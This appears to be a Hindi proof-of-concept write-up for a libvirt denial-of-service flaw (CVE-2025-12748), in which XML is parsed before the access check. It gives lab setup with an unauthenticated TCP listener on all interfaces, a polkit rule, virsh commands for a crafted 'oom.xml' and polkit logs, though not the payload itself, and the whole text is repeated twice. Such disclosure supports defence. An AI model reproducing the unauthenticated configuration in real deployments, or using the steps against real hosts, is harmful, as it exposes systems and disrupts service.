
CVE-2025-12748 के लिए प्रूफ ऑफ कॉन्सेप्ट और विवरण
XML फ़ाइल प्रसंस्करण प्रक्रिया में एक समस्या पाई गई।
फ़ाइल सामग्री का प्रसंस्करण ACL जाँच से पहले किया जाता है। यह सीमित अनुमतियों वाले उपयोगकर्ता को एक विशेष रूप से तैयार XML फ़ाइल सबमिट करने की अनुमति देता है, जो अत्यधिक संसाधन खपत का कारण बन सकती है, जिससे संभावित denial-of-service (DoS) हमला हो सकता है।
apt-get install libvirt libvirt-kvm libvirt-qemu
gpasswd -a user vmusers
systemctl enable --now libvirtd
listen_tls = 0
listen_tcp = 1
tcp_port = "16509"
listen_addr = "0.0.0.0"
unix_sock_group = "vmusers"
auth_tcp = "none"
access_drivers = ["polkit"]
min_workers = 1
max_workers = 1
prio_workers = 1
admin_min_workers = 1
admin_max_workers = 1
log_outputs="1:file:/var/log/libvirt/libvirtd.log"
log_level = 1
/etc/polkit-1/rules.d/50-libvirt-user.rules):polkit.addRule(function(action, subject) {
polkit.log("action=" + action);
polkit.log("subject=" + subject);
if ((action.id == "org.libvirt.api.domain.write" || action.id == "org.libvirt.api.domain.save") &&
subject.user == "user") {
return polkit.Result.NO;
}
else {
return polkit.Result.YES;
}
})
systemctl restart libvirtd polkitवैध XML फ़ाइल के साथ libvirt तक पहुँचने का प्रयास:
virsh --connect qemu://system define ./test.xml
निम्नलिखित त्रुटि प्राप्त होगी:
error: Failed to define domain from ./test.xml
error: access denied: access denied "QEMU"
और संबंधित polkit लॉग:
polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.unix.manage']
polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.api.connect.getattr' connect_driver='QEMU']
polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
polkitd[611708]: Unregistered Authentication Agent for unix-process:613904:1401403695 (system bus name :1.113770, object path /org/freedesktop/PolicyKit1/AuthenticationAgent, locale ru_RU.UTF-8) (disconnected from bus)
polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.api.domain.write' domain_name='test-vm' connect_driver='QEMU' domain_uuid='123e4567-e89b-12d3-a456-426614174000']
polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
दुर्भावनापूर्ण XML फ़ाइल के साथ libvirt तक पहुँचने का प्रयास:
virsh --connect qemu://system define ./oom.xml
सर्वर के हैंग होने के कारण लॉग खाली होगा, और top में libvirtd द्वारा बढ़ी हुई संसाधन खपत देखी जा सकती है।
XML फ़ाइल के प्रसंस्करण में एक समस्या पाई गई।
फ़ाइल सामग्री का प्रसंस्करण ACL जाँच से पहले किया जाता है। यह सीमित अधिकारों वाले उपयोगकर्ता को एक विशेष रूप से तैयार XML फ़ाइल भेजने की अनुमति देता है, जो अत्यधिक संसाधन खपत का कारण बन सकती है, जिससे संभावित "सेवा से वंचित" (DoS) हमला होता है।
/etc/libvirt/libvirtd.conf में टेक्स्ट को निम्न से बदलें:listen_tls = 0
listen_tcp = 1
tcp_port = "16509"
listen_addr = "0.0.0.0"
unix_sock_group = "vmusers"
auth_tcp = "none"
access_drivers = ["polkit"]
min_workers = 1
max_workers = 1
prio_workers = 1
admin_min_workers = 1
admin_max_workers = 1
log_outputs="1:file:/var/log/libvirt/libvirtd.log"
log_level = 1
/etc/polkit-1/rules.d/50-libvirt-user.rules):polkit.addRule(function(action, subject) {
polkit.log("action=" + action);
polkit.log("subject=" + subject);
if ((action.id == "org.libvirt.api.domain.write" || action.id == "org.libvirt.api.domain.save") &&
subject.user == "user") {
return polkit.Result.NO;
}
else {
return polkit.Result.YES;
}
})
systemctl restart libvirtd polkitवैध XML फ़ाइल के साथ libvirt तक पहुँच:
virsh --connect qemu://system define ./test.xml
निम्न त्रुटि प्राप्त होगी:
ошибка: Не удалось создать описание домена на основе ./test.xml
ошибка: доступ запрещен: доступ запрещен "QEMU"
और संबंधित polkit लॉग:
polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.unix.manage']
polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.api.connect.getattr' connect_driver='QEMU']
polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
polkitd[611708]: Unregistered Authentication Agent for unix-process:613904:1401403695 (system bus name :1.113770, object path /org/freedesktop/PolicyKit1/AuthenticationAgent, locale ru_RU.UTF-8) (disconnected from bus)
polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.api.domain.write' domain_name='test-vm' connect_driver='QEMU' domain_uuid='123e4567-e89b-12d3-a456-426614174000']
polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
दुर्भावनापूर्ण XML फ़ाइल के साथ libvirt तक पहुँच:
virsh --connect qemu://system define ./oom.xml
सर्वर के हैंग होने के कारण लॉग खाली होगा, top में libvirtd द्वारा उपभोग किए गए संसाधनों में वृद्धि देखी जा सकती है।